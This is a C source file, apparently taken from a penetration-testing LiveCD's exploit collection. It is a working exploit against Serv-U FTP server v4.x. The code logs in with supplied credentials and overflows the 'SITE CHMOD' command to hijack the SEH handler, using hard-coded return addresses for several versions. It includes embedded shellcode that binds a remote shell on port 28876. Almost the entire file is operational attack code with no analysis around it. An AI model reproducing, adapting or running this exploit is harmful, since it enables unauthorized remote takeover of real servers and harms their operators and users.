home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / servu / serv-ME.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  148 lines

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5.  
  6. #define exploit_length      511
  7. #define NOP 'A'
  8.  
  9. #define SEH_handler_offset  400
  10. char* SEH_handler     = "\x41\x41\xEB\x04"; // 3) jmp over next four bytes
  11. char* retaddress_4004 = "\xab\x1c\x5f\x01"; // 1) libeay32.015f1cab
  12. char* retaddress_4100 = "\xcb\x1c\x41\x01"; // 1) ssleay32.01411ccb
  13. char* retaddress_4103 = "\x8b\x1d\x41\x01"; // 1) ssleay32.01411d8b
  14.  
  15. char* shellcode = 
  16.   "\xeb\x43\x56\x57\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x52\x8b\x52"
  17.   "\x20\x01\xea\x31\xc0\x31\xc9\x41\x8b\x34\x8a\x01\xee\x31\xff\xc1"
  18.   "\xcf\x13\xac\x01\xc7\x85\xc0\x75\xf6\x39\xdf\x75\xea\x5a\x8b\x5a"
  19.   "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
  20.   "\xe8\x5f\x5e\xff\xe0\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b"
  21.   "\x70\x1c\xad\x8b\x68\x08\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32"
  22.   "\x2e\x64\x68\x77\x73\x32\x5f\x54\xbb\x71\xa7\xe8\xfe\xe8\x90\xff"
  23.   "\xff\xff\x89\xef\x89\xc5\x81\xc4\x70\xfe\xff\xff\x54\x31\xc0\xfe"
  24.   "\xc4\x40\x50\xbb\x22\x7d\xab\x7d\xe8\x75\xff\xff\xff\x31\xc0\x50"
  25.   "\x50\x50\x50\x40\x50\x40\x50\xbb\xa6\x55\x34\x79\xe8\x61\xff\xff"
  26.   "\xff\x89\xc6\x31\xc0\x50\x50\x35\x02\x01\x70\xcc\xfe\xcc\x50\x89"
  27.   "\xe0\x50\x6a\x10\x50\x56\xbb\x81\xb4\x2c\xbe\xe8\x42\xff\xff\xff"
  28.   "\x31\xc0\x50\x56\xbb\xd3\xfa\x58\x9b\xe8\x34\xff\xff\xff\x58\x6a"
  29.   "\x10\x54\x50\x56\xbb\x47\xf3\x56\xc6\xe8\x24\xff\xff\xff\x31\xdb"
  30.   "\x53\x68\x2e\x63\x6d\x64\x89\xe1\x41\x50\x50\x50\x53\x53\x31\xc0"
  31.   "\xfe\xc4\x40\x50\x53\x53\x53\x53\x53\x53\x53\x53\x53\x53\x6a\x44"
  32.   "\x89\xe6\x50\x55\x53\x53\x53\x53\x54\x56\x53\x53\x53\x43\x53\x4b"
  33.   "\x53\x53\x51\x53\x89\xfd\xbb\x21\xd0\x05\xd0\xe8\xe2\xfe\xff\xff"
  34.   "\x31\xc0\x48\x8b\x44\x24\x04\xbb\x43\xcb\x8d\x5f\xe8\xd1\xfe\xff"
  35.   "\xff\x5d\x5d\x5d\xbb\x12\x6b\x6d\xd0\xe8\xc4\xfe\xff\xff\x31\xc0"
  36.   "\x50\x89\xfd\xbb\x69\x1d\x42\x3a\xe8\xb5\xfe\xff\xff";
  37.  
  38. int sock;
  39. FILE* FILEsock;
  40. int doubling;
  41.  
  42. void send_command(char *command, char *arguments) {
  43.   int i;
  44.   send(sock, command, strlen(command), 0);
  45.   send(sock, " ", 1, 0);
  46.   for (i=0; i<strlen(arguments); i++) {
  47.     send(sock, arguments+i, 1, 0);
  48.     if (doubling && arguments[i] == '\xff') send(sock, arguments+i, 1, 0);
  49.   }
  50.   send(sock, "\x0a\x0d", 2, 0);
  51. }
  52.  
  53. int main(int argc, char *argv[], char *envp[]) {
  54.   struct sockaddr_in addr;
  55.   char *outbuffer, inbuffer[256];
  56.   char *retaddress = NULL;
  57.   char *version = NULL;
  58.  
  59.   if (argc<5) {
  60.     printf("Usage: %s IP PORT USERNAME PASSWORD [DIRECTORY]\n", argv[0]);
  61.     exit(-1);
  62.   }
  63.  
  64.   printf("- Serv-ME ----------------------------------------------------\n"
  65.          "  Serv-U v4.x \"site chmod\" exploit.\n"
  66.          "  Written by SkyLined <SkyLined@EduP.TUDelft.nl>.\n"
  67.          "  Credits for the vulnerability go to ICBM <icbm@0x557.net>.\n"
  68.          "  Thanks to H D Moore for the shellcode (www.metasploit.com).\n"
  69.          "  Greets to everyone at 0dd and #netric.\n"
  70.          "  (K)(L)(F) for Suzan.\n"
  71.          "\n"
  72.          "  Binds a shell at %s:28876 if successfull.\n"
  73.          "  Tested with: v4.0.0.4, v4.1.0.0, v4.1.0.3 on W2K-EN.\n"
  74.          "--------------------------------------------------------------\n",
  75.            argv[1]);
  76.  
  77.   addr.sin_family = AF_INET;
  78.   addr.sin_port = htons(atoi(argv[2]));
  79.   addr.sin_addr.s_addr = inet_addr(argv[1]);
  80.  
  81.   printf("\n[+] Connecting to %s:%s...\n", argv[1], argv[2]);
  82.   if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  83.     perror("Socket creation failed");
  84.     exit(-1);
  85.   }
  86.   if (connect(sock, (struct sockaddr *)&addr, sizeof addr) == -1) {
  87.     perror("Connection failed");
  88.     exit(-1);
  89.   }
  90.   FILEsock = fdopen(sock, "r");
  91.   printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  92.   if (strstr(inbuffer, "220 Serv-U FTP Server v4.") != inbuffer) {
  93.     printf("[-] This is not a Serv-U v4.X ftp server.\n");
  94.     exit(-1);
  95.   }
  96.   if (strstr(inbuffer, "v4.1") > 0) {
  97.     retaddress = retaddress_4103;
  98.     version = "4.1.0.3";
  99.   }
  100.  
  101.   printf("\n[+] Login in as %s:%s...\n", argv[3], argv[4]);
  102.   send_command("USER", argv[3]);
  103.   printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  104.   send_command("PASS", argv[4]);
  105.   printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  106.   if (strstr(inbuffer, "230") != inbuffer) {
  107.     printf("[-] Login failed.\n");
  108.     exit(-1);
  109.   }
  110.  
  111.   if (argv[5]) {
  112.     printf("\n[+] Changing directory...\n");
  113.     send_command("CD", argv[5]);
  114.     printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  115.   }
  116.  
  117.   outbuffer = (char*) malloc(exploit_length + strlen(shellcode));
  118.   memset(outbuffer, NOP, exploit_length);
  119.   memcpy(outbuffer+exploit_length, shellcode, strlen(shellcode));
  120.  
  121.   printf("\n[+] Checking if \\xff doubling is nescesary: ");
  122.   send_command("SITE CHMOD 477", "-\xff\xff-");
  123.   fgets(inbuffer, sizeof inbuffer, FILEsock);
  124.   if (strchr(inbuffer, '\xff') == strrchr(inbuffer, '\xff')) {
  125.     doubling = 1;
  126.     printf("Yes.");
  127.     retaddress = retaddress_4004;
  128.     version = "4.0.0.4";
  129.   } else {
  130.     printf("No.");
  131.     if (retaddress==NULL) {
  132.       retaddress = retaddress_4100;
  133.       version = "4.1.0.0";
  134.     }
  135.   }
  136.   printf("\n[+] Serv-U FTP server version %s: using retaddress 0x%08x",
  137.                       version, *(int*)retaddress);
  138.   memcpy(outbuffer + SEH_handler_offset, SEH_handler, strlen(SEH_handler));
  139.   memcpy(outbuffer + SEH_handler_offset + 4, retaddress, strlen(retaddress));
  140.  
  141.   printf("\n[+] Sending exploit... ");
  142.   send_command("SITE CHMOD 477", outbuffer);
  143.   printf("send, you can now try to connect to %s:28876.\n", argv[1]);
  144.   printf("    --> %s", fgets(inbuffer, sizeof inbuffer, FILEsock));
  145.   close(socket);
  146.   printf("\n[+] Done. \n");
  147. }
  148.